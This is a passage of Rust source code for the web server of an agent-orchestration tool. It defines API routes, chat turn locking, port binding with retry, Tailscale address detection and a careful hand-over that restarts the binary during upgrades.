879    /// path parameter, so there is no traversal surface to get wrong: the set
880    /// of servable paths is the set written here. The asset route below is the
881    /// one exception and the only place in this server where a client names a
882    /// file; it is why [`valid_asset_name`] is checked before a path is built.
883    pub fn router(self) -> Router {
884        Router::new()
885            .route("/", get(index))
886            .route("/app.css", get(app_css))
887            .route("/app.js", get(app_js))
888            .route("/api/health", get(health))
889            .route("/api/loop", get(loop_get).post(loop_post))
890            .route("/api/upgrade", post(upgrade_post))
891            .route("/api/runs", get(runs_list))
892            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
893            .route("/api/runs/{id}/report", get(run_report))
894            .route("/api/runs/{id}/report.json", get(run_report_json))
895            .route("/api/runs/{id}/fold", post(run_fold))
896            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
897            .route("/api/runs/{id}/resume", post(run_resume))
898            .route("/api/queue", get(queue_list))
899            .route("/api/search", get(search_get))
900            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
901            .route("/api/stats", get(stats_get))
902            .route("/api/repos", get(repos_list))
903            .route("/api/settings", get(settings_get))
904            .route("/api/settings/roles", put(settings_put_roles))
905            .route("/api/queue/{id}/hold", post(queue_hold))
906            .route("/api/queue/{id}/release", post(queue_release))
907            .route("/api/queue/{id}/priority", post(queue_priority))
908            .route("/api/queue/{id}/edit", post(queue_edit))
909            .route("/api/queue/{id}/done", post(queue_done))
910            .route("/api/questions", get(questions_list))
911            .route("/api/questions/{id}/answer", post(question_answer))
912            .route("/api/questions/{id}/say", post(question_say))
913            .route("/api/questions/{id}/consult", post(question_consult))
914            .route("/api/questions/{id}/panel", get(question_panel))
915            // The same asset, reachable from inside the panel by its bare
916            // filename. A document served at `.../panel` resolves `shot.png`
917            // to `.../shot.png`, which is not the asset route, so a panel
918            // written the way its author was told to write it showed broken
919            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
920            // it - deliberately - so the fix is that the panel's own URL ends
921            // in a filename and its siblings are the assets.
922            .route("/api/questions/{id}/panel/index.html", get(question_panel))
923            .route("/api/questions/{id}/panel/{name}", get(question_asset))
924            .route("/api/questions/{id}/asset/{name}", get(question_asset))
925            .route("/api/notifications", get(notifications_list))
926            .route("/api/notifications/read-all", post(notifications_read_all))
927            .route("/api/notifications/{id}/read", post(notification_read))
928            .route(
929                "/api/notifications/{id}/dismiss",
930                post(notification_dismiss),
931            )
932            .route("/api/talks", get(talks_list).post(talk_post))
933            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
934            .route("/api/talks/{id}/say", post(talk_say))
935            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
936            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
937            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
938            .route("/api/talks/{id}/agent", post(talk_agent))
939            .route("/api/talks/{id}/persona", post(talk_persona))
940            .route("/api/talks/{id}/implementers", post(talk_implementers))
941            .route("/api/talks/{id}/close", post(talk_close))
942            .route("/api/talks/{id}/reopen", post(talk_reopen))
943            // `DefaultBodyLimit` is raised only on this one route - every
944            // other route on this server answers in a few kilobytes, and
945            // widening the crate-wide default for all of them just because
946            // one accepts a picture would let any other handler be handed
947            // a multi-megabyte body it never expects.
948            .route(
949                "/api/talks/{id}/attachments",
950                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
951            )
952            .route(
953                "/api/talks/{id}/attachments/{att}",
954                get(talk_attachment_get),
955            )
956            .route("/api/events", get(events))
957            .with_state(Arc::new(self))
958    }
959}
960
961/// What a chat request is told while an upgrade is parking and the request
962/// cannot be queued as a draft.
963const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
964
965/// One talk's turn slot, released on drop.
966///
967/// A guard rather than a matching `remove` at the end of the handler, because
968/// the handler has several early returns and one `await` that can be cancelled
969/// out from under it. A leaked id is a talk nobody can talk to again.
970#[derive(Debug)]
971struct TalkTurnGuard {
972    talk: String,
973    turns: Arc<Mutex<TalkTurns>>,
974    released: bool,
975    /// The cross-process half of the slot; dropped with the guard.
976    lease: Option<crate::talk::TurnLease>,
977}
978
979/// In-memory turn ownership plus the queue generation observed by a drainer.
980///
981/// The generation changes only after a durable queued draft is written and its
982/// caller finds the turn busy. That lets the loop run filesystem work outside
983/// this mutex while still making the final empty-check/release atomic with a
984/// concurrent queue handoff.
985#[derive(Debug, Default)]
986struct TalkTurns {
987    live: HashSet<String>,
988    queued: HashMap<String, u64>,
989    /// Set while an upgrade hand-over is parking: no turn may start, so the
990    /// set in `live` can only shrink. Cleared again if the hand-over ends
991    /// without exiting the process.
992    parking: bool,
993}
994
995/// The atomic initial-state decision made by
996/// [`Ui::begin_talk_turn_unless_pending`].
997enum TalkTurnStart {
998    Claimed(TalkTurnGuard),
999    Busy,
1000    /// Another process holds the turn lease. Unlike `Busy` there is no local
1001    /// drain loop that would answer a queued draft, so the caller refuses.
1002    Foreign,
1003    Pending,
1004}
1005
1006impl TalkTurnGuard {
1007    /// Does this guard still own the on-disk lease? A transient failure to
1008    /// check counts as owning: the next beat decides. A guard that lost it
1009    /// must not start another turn on the same session.
1010    fn owns(&self) -> bool {
1011        self.lease
1012            .as_ref()
1013            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1014    }
1015
1016    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1017    /// than the lease's TTL still reads as held to other processes.
1018    async fn respond(
1019        &self,
1020        talk: &mut Talk,
1021        talks: &Talks,
1022        cfg: &Config,
1023        text: &str,
1024    ) -> anyhow::Result<()> {
1025        let lease = self
1026            .lease
1027            .as_ref()
1028            .context("the turn guard no longer holds its lease")?;
1029        talk::respond(lease, talk, talks, cfg, text).await
1030    }
1031
1032    /// Release while the caller already holds the claim mutex, closing the
1033    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1034    fn release(mut self, live: &mut TalkTurns) {
1035        // The on-disk lease goes first: while `live` still names the talk, no
1036        // local claim can start, so nobody observes the slot free but the
1037        // lease held.
1038        self.lease = None;
1039        live.live.remove(&self.talk);
1040        live.queued.remove(&self.talk);
1041        self.released = true;
1042    }
1043}
1044
1045impl Drop for TalkTurnGuard {
1046    fn drop(&mut self) {
1047        if self.released {
1048            return;
1049        }
1050        // Lease first, then the in-process slot (see `release`).
1051        drop(self.lease.take());
1052        if let Ok(mut live) = self.turns.lock() {
1053            live.live.remove(&self.talk);
1054            live.queued.remove(&self.talk);
1055        }
1056    }
1057}
1058
1059/// Releases a resume claim, so a run is resumable again after the attempt.
1060struct ResumeGuard {
1061    run: String,
1062    resuming: Arc<Mutex<HashSet<String>>>,
1063}
1064
1065impl Drop for ResumeGuard {
1066    fn drop(&mut self) {
1067        if let Ok(mut live) = self.resuming.lock() {
1068            live.remove(&self.run);
1069        }
1070    }
1071}
1072
1073/// Bind the port, waiting briefly for a predecessor to let go of it.
1074///
1075/// A restart hands the address from one process to the next, and the old one
1076/// holds its listener until it unwinds. A single `bind` can lose that race,
1077/// and for a restart triggered from a phone that means the deck never comes
1078/// back with no terminal around to say why.
1079///
1080/// Bounded, and only for the one error a wait can fix: anything else fails at
1081/// once, because retrying it would turn a clear message into a silence.
1082async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1083    const WINDOW: Duration = Duration::from_secs(10);
1084    const GAP: Duration = Duration::from_millis(250);
1085
1086    let deadline = std::time::Instant::now() + WINDOW;
1087    let mut said = false;
1088    loop {
1089        match tokio::net::TcpListener::bind(socket).await {
1090            Ok(listener) => return Ok(listener),
1091            Err(e)
1092                if e.kind() == std::io::ErrorKind::AddrInUse
1093                    && std::time::Instant::now() < deadline =>
1094            {
1095                if !said {
1096                    said = true;
1097                    tracing::info!(
1098                        "{socket} is still held - waiting up to {}s for it, \
1099                         which is what a restart looks like from here",
1100                        WINDOW.as_secs()
1101                    );
1102                }
1103                tokio::time::sleep(GAP).await;
1104            }
1105            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1106        }
1107    }
1108}
1109
1110/// Signalled when an upgrade has replaced the binary and the successor should
1111/// take this address over. One per process: there is one address to hand on.
1112static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1113
1114/// Set to `1` on the successor when the loop was running at handover.
1115const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1116
1117/// Whether the environment value asks for the loop to be resumed.
1118fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1119    value.is_some_and(|v| v == "1")
1120}
1121
1122/// Start this binary again with the same arguments, detached.
1123///
1124/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1125/// so the address is already free when the successor binds it. The first
1126/// attempt at this spawned the successor two hundred milliseconds before
1127/// exiting instead, and the released binary - which has no bind retry - died
1128/// on "address already in use" with its stdio sent to null, so the deck
1129/// simply never came back.
1130///
1131/// Detached and without inherited stdio: the successor has to outlive this
1132/// process, and must not hold open a pipe a terminal is waiting on.
1133///
1134/// `resume` tells the successor to start the queue loop, through
1135/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1136/// process inherited from its own predecessor cannot leak into a generation
1137/// that should not resume. The successor's own environment keeps the variable
1138/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1139///
1140/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1141/// than sent to null: a supervisor's redirection only ever held the first
1142/// generation's descriptors, so every later generation logged nowhere. The
1143/// pid of the child is returned so the handover log can name it.
1144fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1145    let exe = std::env::current_exe().context("find this binary")?;
1146    let args: Vec<String> = std::env::args().skip(1).collect();
1147    updater::log_step(
1148        home,
1149        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1150    );
1151    let log_path = home.join(WEB_LOG);
1152    let open_log = || {
1153        std::fs::create_dir_all(home)?;
1154        std::fs::OpenOptions::new()
1155            .create(true)
1156            .append(true)
1157            .open(&log_path)
1158    };
1159    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1160        Ok(pair) => (
1161            std::process::Stdio::from(pair.0),
1162            std::process::Stdio::from(pair.1),
1163        ),
1164        Err(e) => {
1165            updater::log_warn(
1166                home,
1167                &format!(
1168                    "could not open {}: {e}; the successor logs nowhere",
1169                    log_path.display()
1170                ),
1171            );
1172            (std::process::Stdio::null(), std::process::Stdio::null())
1173        }
1174    };
1175
1176    let mut cmd = std::process::Command::new(&exe);
1177    if resume {
1178        cmd.env(RESUME_LOOP_ENV, "1");
1179    } else {
1180        cmd.env_remove(RESUME_LOOP_ENV);
1181    }
1182    cmd.args(&args)
1183        .stdin(std::process::Stdio::null())
1184        .stdout(out)
1185        .stderr(err);
1186    #[cfg(windows)]
1187    {
1188        use std::os::windows::process::CommandExt as _;
1189        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1190        // and Ctrl-C in the old terminal must not reach the successor.
1191        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1192    }
1193    let child = cmd.spawn().context("start the successor")?;
1194    Ok(child.id())
1195}
1196
1197/// File under `<home>` the successor's output is appended to.
1198const WEB_LOG: &str = "web.log";
1199
1200/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1201/// stored by an earlier `notify_one` is consumed by the first poll, so the
1202/// signal is never missed and never wakes a second time.
1203async fn wait_for_handover(signal: &Notify) {
1204    signal.notified().await;
1205}
1206
1207/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1208///
1209/// The server itself owns no state, so nothing here is graceful for the HTTP
1210/// side's sake: the connections go with the dropped listener, which costs a
1211/// phone one change-stream reconnection it was going to make anyway.
1212///
1213/// The signal branch is not optional now that the loop lives in this process.
1214/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1215/// handler is what stops the signal terminating the process - so without a
1216/// branch of our own, the first Ctrl-C after the operator started the loop
1217/// would stop the loop and leave `magi web` listening forever, unkillable
1218/// from the terminal it was started in.
1219///
1220/// What it waits for is the loop, not the sockets. A run in flight is
1221/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1222/// mid-node leaves worktrees, branches and agent sessions behind and throws
1223/// away every agent call already paid for.
1224///
1225/// The server therefore runs on a task of its own rather than inside the
1226/// `select!`: an arm that resolves *drops* the futures the other arms were
1227/// polling, so serving the address from inside one would take the deck down
1228/// at the instant the handover began and keep it down for the whole park -
1229/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1230/// owns the order.
1231pub async fn serve(opts: Opts) -> Result<()> {
1232    let (addr, warning) = resolve_bind(&opts.bind);
1233    if let Some(warning) = warning {
1234        tracing::warn!("{warning}");
1235    }
1236
1237    // Process-global, and therefore set exactly once, here: the report route
1238    // must never emit escape sequences into a browser, and toggling the flag
1239    // per request would race with a concurrent request rendering its own
1240    // report. Startup is the only moment at which no request can observe the
1241    // change. Nothing in the server turns colour back on.
1242    report::set_color(false);
1243
1244    let repo = normalize_default_repo(opts.repo).await;
1245    let ui = Ui::open(repo).with_merge(opts.merge);
1246    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1247    // home to bracket the parking and restarting stages, and `run_update_recheck`
1248    // needs both it and the repo, and by then there is no `ui` left to read
1249    // them from.
1250    let home = ui.home.clone();
1251    let repo = ui.repo.clone();
1252    // Settles a progress record a predecessor left non-terminal - either this
1253    // *is* the successor `spawn_successor` started, or the previous process
1254    // died mid-handover. Before the router starts answering, so the very
1255    // first `/api/health` a phone gets from this process already reflects it.
1256    updater::reconcile_after_restart(&home);
1257    updater::log_step(
1258        &home,
1259        &format!(
1260            "web process started (version {}); handover log {}, successor output {}",
1261            env!("CARGO_PKG_VERSION"),
1262            updater::log_path(&home).display(),
1263            home.join(WEB_LOG).display()
1264        ),
1265    );
1266    updater::spawn_watchdog(home.clone());
1267    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1268    // `spawn_update_check` does at startup only ever runs once: after that,
1269    // `/api/health`'s `update` field - and the phone's "Update & restart"
1270    // button, which reads the very same cache - would stay frozen on
1271    // whatever that single check found, no matter how many releases ship
1272    // afterwards. This keeps it current instead. Detached: it must keep
1273    // going for as long as this process serves, `serve` has nothing to await
1274    // it for, and it exits on its own the moment the process does.
1275    tokio::spawn(run_update_recheck(repo, home.clone()));
1276    let looping = ui.looping();
1277    let turns = ui.turns();
1278    let talk_store = ui.talks.clone();
1279    let socket = SocketAddr::new(addr, opts.port);
1280    let listener = bind_waiting(socket).await?;
1281    let url = format!("http://{addr}:{}", opts.port);
1282    tracing::info!(
1283        "magi web UI on {url} - there is no authentication, so anyone who can \
1284         reach this address can file and hold tasks: the tailnet is the \
1285         security boundary"
1286    );
1287    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1288        tracing::info!("resumed the loop the predecessor was running");
1289    } else {
1290        tracing::info!(
1291            "the queue loop is not running yet - start it from the UI, which is \
1292             the whole reason this process can: nothing in the queue moves until \
1293             something is running the loop"
1294        );
1295    }
1296    if opts.open {
1297        // The URL alone on stdout, for a caller that wants to open it. magi
1298        // does not spawn a browser: on the machine this usually runs on there
1299        // is no display, and a failed launch would be the only output.
1300        println!("{url}");
1301    }
1302
1303    // On its own task, so nothing this function awaits can stop the address
1304    // being answered. `hand_over` is where it is given up.
1305    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1306    let interrupted = async {
1307        if tokio::signal::ctrl_c().await.is_err() {
1308            // No handler on this platform, so there is no signal to act on.
1309            // Never resolving is the safe answer: a failed registration must
1310            // not masquerade as the operator asking for a shutdown and take
1311            // the UI down on startup.
1312            std::future::pending::<()>().await;
1313        }
1314    };
1315    let handover = wait_for_handover(&HANDOVER);
1316    let outcome = tokio::select! {
1317        joined = &mut served => match joined {
1318            Ok(outcome) => outcome.context("serve the web UI"),
1319            Err(e) => Err(e).context("the task serving the web UI ended"),
1320        },
1321        () = interrupted => {
1322            tracing::info!("shutting down the web UI");
1323            finish_loop(&home, &looping, None).await;
1324            Ok(())
1325        }
1326        () = handover => {
1327            updater::log_step(&home, "serve: the select! woke on the handover signal");
1328            let successor_home = home.clone();
1329            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1330            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1331                spawn_successor(&successor_home, resume)
1332            })
1333            .await
1334        }
1335    };
1336    updater::log_step(
1337        &home,
1338        &match &outcome {
1339            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1340            Err(e) => format!("serve: returning an error: {e:#}"),
1341        },
1342    );
1343    outcome
1344}
1345
1346/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1347/// process's own working directory is not a git checkout at all - the
1348/// checkout [`repos::discover_verified`] finds instead.
1349///
1350/// Only the unmodified default is ever replaced: an operator who named a
1351/// directory outright, git checkout or not, gets exactly that directory
1352/// back, and the same story downstream (a talk whose briefing embeds a
1353/// non-git directory, and an agent that has to ask the operator where the
1354/// real repository is) that has always told them so - substituting a guess
1355/// for an explicit answer would be a second, silent opinion about what they
1356/// meant. There is no instruction or task text yet to match against this
1357/// early, so only [`repos::discover_verified`]'s own-repository tier can
1358/// ever settle this - the hint tier never fires here.
1359///
1360/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1361/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1362/// or a git installation that is broken in exactly the way that made the
1363/// original `canonical` check above fail too - so it is re-checked with
1364/// `git::toplevel` before it is ever used in place of the operator's own
1365/// directory.
1366async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1367    if repo != FsPath::new(".") {
1368        return repo;
1369    }
1370    let Ok(canonical) = repo.canonicalize() else {
1371        return repo;
1372    };
1373    if git::toplevel(&canonical).await.is_ok() {
1374        return repo;
1375    }
1376    let Some(home) = dirs::home_dir() else {
1377        return repo;
1378    };
1379    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1380        Some(found) => {
1381            tracing::info!(
1382                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1383                canonical.display(),
1384                found.path.display(),
1385                found.reason,
1386            );
1387            found.path
1388        }
1389        None => repo,
1390    }
1391}
1392
1393/// Park the loop, then release the address, then start the successor.
1394///
1395/// The order is the whole function, and each step is answerable to a failure
1396/// this arrangement has already had:
1397///
1398/// 1. **Park.** The loop was asked to stop by the request that replaced the
1399///    binary, and this waits for it, because killing the graph mid-node
1400///    leaves worktrees, branches and agent sessions behind and throws away
1401///    every agent call already paid for. It takes as long as the node in
1402///    flight - up to `timeout_implement`, an hour by default - and the deck
1403///    goes on answering for all of it, which is the reason `served` is a task
1404///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1405///    first upgrade from a phone that caught a run mid-implement dropped the
1406///    listener the moment it was asked to, and the operator got
1407///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1408///    waiting on and nothing but a process list to say the run was alive.
1409/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1410///    the join resolves only once the task's future has been dropped, so the
1411///    listener is released before the next line. Connections it already
1412///    accepted are served on tasks of their own and wind down asynchronously;
1413///    on some platforms (macOS) they can briefly keep the address busy, and
1414///    the successor's `bind_waiting` absorbs that.
1415/// 3. **Start the successor**, which binds the address this process has just
1416///    let go of - see [`spawn_successor`] for what the other order cost.
1417///
1418/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1419/// reporting, not part of the design: it exists so `/api/health` can say
1420/// "parking, waiting on run X" instead of leaving the phone to guess why the
1421/// deck went quiet, and dropping it would not change the order above.
1422async fn hand_over(
1423    home: &FsPath,
1424    looping: &Mutex<LoopState>,
1425    turns: &Arc<Mutex<TalkTurns>>,
1426    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1427    served: tokio::task::JoinHandle<std::io::Result<()>>,
1428    successor: impl FnOnce(bool) -> Result<u32>,
1429) -> Result<()> {
1430    updater::log_step(home, "hand_over: entered; writing the parking stage");
1431    // The lease and the stage are written as one step, so a reader that sees
1432    // `parking` also finds the proof that hand_over is alive. Dropped on
1433    // every way out.
1434    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1435    if !recorded {
1436        updater::log_warn(
1437            home,
1438            "hand_over: upgrade.json is unreadable; no parking stage",
1439        );
1440    }
1441    // Chat stays open while the loop parks: nothing restarts until it ends,
1442    // and the park can last as long as a node. Only once it is done is the
1443    // slot closed, right before the restart; a turn started earlier is in
1444    // `live` by then, so `finish_talks` waits for it.
1445    finish_loop(home, looping, Some(&mut lease)).await;
1446    let parking = ParkingTurns::begin(turns);
1447    let talks_done = finish_talks(home, turns, talk_wait);
1448    tokio::pin!(talks_done);
1449    let mut beat = tokio::time::interval(LEASE_BEAT);
1450    let (abandoned, waited_for) = loop {
1451        tokio::select! {
1452            left = &mut talks_done => break left,
1453            _ = beat.tick() => lease.beat(),
1454        }
1455    };
1456    drop(lease);
1457    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1458    served.abort();
1459    let _ = served.await;
1460    updater::log_step(home, "hand_over: listener released");
1461    // Read last: the deck answers for the whole park, so an operator's stop
1462    // during the wait must still be honoured by the successor.
1463    let resume = lock_or_recover(looping).resume_after_handover;
1464    match updater::read_progress(home) {
1465        Some(mut progress) => {
1466            progress.advance(updater::Stage::Restarting);
1467            if !abandoned.is_empty() {
1468                progress.detail = Some(format!(
1469                    "handed over while {} still running after {} s",
1470                    updater::talks_phrase(&abandoned),
1471                    waited_for.as_secs()
1472                ));
1473            }
1474            updater::write_progress_logged(home, &progress);
1475        }
1476        None => updater::log_warn(
1477            home,
1478            "hand_over: upgrade.json is unreadable; no restarting stage",
1479        ),
1480    }
1481    updater::log_step(
1482        home,
1483        &format!("hand_over: starting the successor (resume={resume})"),
1484    );
1485    drop(parking);
1486    match successor(resume) {
1487        Ok(pid) => {
1488            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1489            Ok(())
1490        }
1491        Err(e) => {
1492            updater::log_warn(
1493                home,
1494                &format!("hand_over: the successor did not start: {e:#}"),
1495            );
1496            Err(e)
1497        }
1498    }
1499}
1500
1501/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1502/// a turn that runs its full timeout still needs a moment to record its answer.
1503const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1504
1505/// How often the park looks at the chat turns still running.
1506const TALK_POLL: Duration = Duration::from_millis(250);
1507
1508/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1509/// grace. Beyond it a stuck turn must not block the hand-over.
1510fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1511    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1512}
1513
1514/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1515/// the repositories those talks run in (each turn uses its own talk's
1516/// configuration), plus the grace. A talk or config that cannot be read counts
1517/// with the default timeout.
1518fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1519    let default = Config::default().graph.timeout_talk;
1520    let longest = ids
1521        .iter()
1522        .map(|id| {
1523            talks
1524                .get(id)
1525                .ok()
1526                .and_then(|t| Config::discover(&t.repo, None).ok())
1527                .map_or(default, |(c, _)| c.graph.timeout_talk)
1528        })
1529        .max()
1530        .unwrap_or(default);
1531    talk_wait_bound(longest)
1532}
1533
1534/// Stops new chat turns for as long as it lives, so the hand-over only ever
1535/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1536/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1537struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1538
1539impl ParkingTurns {
1540    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1541        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1542        Self(Arc::clone(turns))
1543    }
1544}
1545
1546impl Drop for ParkingTurns {
1547    fn drop(&mut self) {
1548        self.0
1549            .lock()
1550            .unwrap_or_else(PoisonError::into_inner)
1551            .parking = false;
1552    }
1553}
1554
1555/// Wait until no chat turn is running in this process, for at most the longest
1556/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1557/// running when the bound was hit (empty when the turns finished) with the
1558/// bound that applied, after saying so in the upgrade log.
1559async fn finish_talks(
1560    home: &FsPath,
1561    turns: &Mutex<TalkTurns>,
1562    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1563) -> (Vec<String>, Duration) {
1564    let running = || {
1565        let mut ids: Vec<String> = turns
1566            .lock()
1567            .unwrap_or_else(PoisonError::into_inner)
1568            .live
1569            .iter()
1570            .cloned()
1571            .collect();
1572        ids.sort();
1573        ids
1574    };
1575    let started = std::time::Instant::now();
1576    let mut seen = Vec::new();
1577    let mut bound = Duration::ZERO;
1578    loop {
1579        let ids = running();
1580        if ids != seen {
1581            bound = bound.max(bound_for(&ids));
1582            if ids.is_empty() {
1583                updater::log_step(home, "finish_talks: no chat turn is running");
1584            } else {
1585                updater::log_step(
1586                    home,
1587                    &format!(
1588                        "finish_talks: waiting for {} to finish",
1589                        updater::talks_phrase(&ids)
1590                    ),
1591                );
1592            }
1593            updater::set_parked_talks(home, &ids);
1594            seen = ids;
1595        }
1596        if seen.is_empty() {
1597            return (Vec::new(), bound);
1598        }
1599        if started.elapsed() >= bound {
1600            updater::log_warn(
1601                home,
1602                &format!(
1603                    "finish_talks: {} still running after {} s; handing over anyway",
1604                    updater::talks_phrase(&seen),
1605                    bound.as_secs()
1606                ),
1607            );
1608            return (seen, bound);
1609        }
1610        tokio::time::sleep(TALK_POLL).await;
1611    }
1612}
1613
1614/// How often `finish_loop` renews the handover lease; well inside
1615/// [`updater::LEASE_TTL_SECS`].
1616const LEASE_BEAT: Duration = Duration::from_secs(20);
1617
1618/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1619///
1620/// The wait is the whole function. Returning from `serve` while a graph is
1621/// mid-node ends the process with worktrees, branches and agent sessions left
1622/// behind and every agent call in that run paid for and thrown away, which is
1623/// exactly what the daemon's own shutdown refuses to do.
1624async fn finish_loop(
1625    home: &FsPath,
1626    state: &Mutex<LoopState>,
1627    mut lease: Option<&mut updater::LeaseGuard>,
1628) {
1629    let live = lock_or_recover(state).live.take();
1630    let Some(live) = live else {
1631        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1632        return;
1633    };
1634    live.stop.stop();
1635    lock_or_recover(state).rev += 1;
1636    updater::log_step(
1637        home,
1638        "finish_loop: waiting for the loop to finish the run in flight",
1639    );
1640    let waited = std::time::Instant::now();
1641    // The task records its own outcome and logs it, so there is nothing to do
1642    // with a join error here but stop waiting.
1643    let mut handle = live.handle;
1644    let mut beat = tokio::time::interval(LEASE_BEAT);
1645    loop {
1646        tokio::select! {
1647            _ = &mut handle => break,
1648            _ = beat.tick() => {
1649                if let Some(lease) = lease.as_deref_mut() {
1650                    lease.beat();
1651                }
1652            }
1653        }
1654    }
1655    updater::log_step(
1656        home,
1657        &format!(
1658            "finish_loop: the loop ended after {:.1}s",
1659            waited.elapsed().as_secs_f32()
1660        ),
1661    );
1662}
1663
1664/// Resolve `--bind` to an address, plus a warning when the answer is not what
1665/// the operator asked for.
1666///
1667/// Split out from [`serve`] because the interesting half - deciding whether
1668/// Tailscale gave us something usable - is testable without opening a socket.
1669pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1670    match bind {
1671        Bind::Addr(addr) => (*addr, None),
1672        Bind::Auto => match tailscale_ip() {
1673            Ok(ip) => (IpAddr::V4(ip), None),
1674            Err(why) => (
1675                IpAddr::V4(Ipv4Addr::LOCALHOST),
1676                Some(format!(
1677                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1678                     local-only and a phone cannot reach it; start Tailscale \
1679                     or pass --bind <addr>"
1680                )),
1681            ),
1682        },
1683    }
1684}
1685
1686/// This machine's Tailscale IPv4, or why there is not one.
1687///
1688/// `tailscale ip -4` is a local call against the running daemon and returns in
1689/// milliseconds, so it is fine to make it synchronously before the server
1690/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1691/// CGNAT block Tailscale assigns from, and anything else on that output would
1692/// be a different tool answering.
1693fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1694    let out = std::process::Command::new("tailscale")
1695        .args(["ip", "-4"])
1696        .quiet()
1697        .output()
1698        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1699    if !out.status.success() {
1700        let why = String::from_utf8_lossy(&out.stderr);
1701        let why = why.trim();
1702        return Err(format!(
1703            "`tailscale ip -4` failed ({}){}",
1704            out.status,
1705            if why.is_empty() {
1706                String::new()
1707            } else {
1708                format!(": {why}")
1709            }
1710        ));
1711    }
1712    String::from_utf8_lossy(&out.stdout)
1713        .lines()
1714        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1715        .find(is_tailnet)
1716        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1717}
1718
1719/// Is this address in the CGNAT block Tailscale hands out from?
1720fn is_tailnet(ip: &Ipv4Addr) -> bool {
1721    let o = ip.octets();
1722    o[0] == 100 && (64..=127).contains(&o[1])
1723}
1724
1725/// What every handler returns. Spelled out because `Result` in this crate is
1726/// `anyhow::Result`, and a handler's error is a status code as much as a
1727/// message.
1728type ApiResult<T> = std::result::Result<T, ApiError>;
1729
1730/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1731#[derive(Debug)]
1732struct ApiError {
1733    status: StatusCode,
1734    message: String,
1735}
1736
1737impl ApiError {
1738    /// The client asked for something malformed.
1739    fn bad_request(message: impl Into<String>) -> Self {
1740        Self {
1741            status: StatusCode::BAD_REQUEST,
1742            message: message.into(),
1743        }
1744    }
1745
1746    /// No such run or task.
1747    fn not_found(message: impl Into<String>) -> Self {
1748        Self {
1749            status: StatusCode::NOT_FOUND,
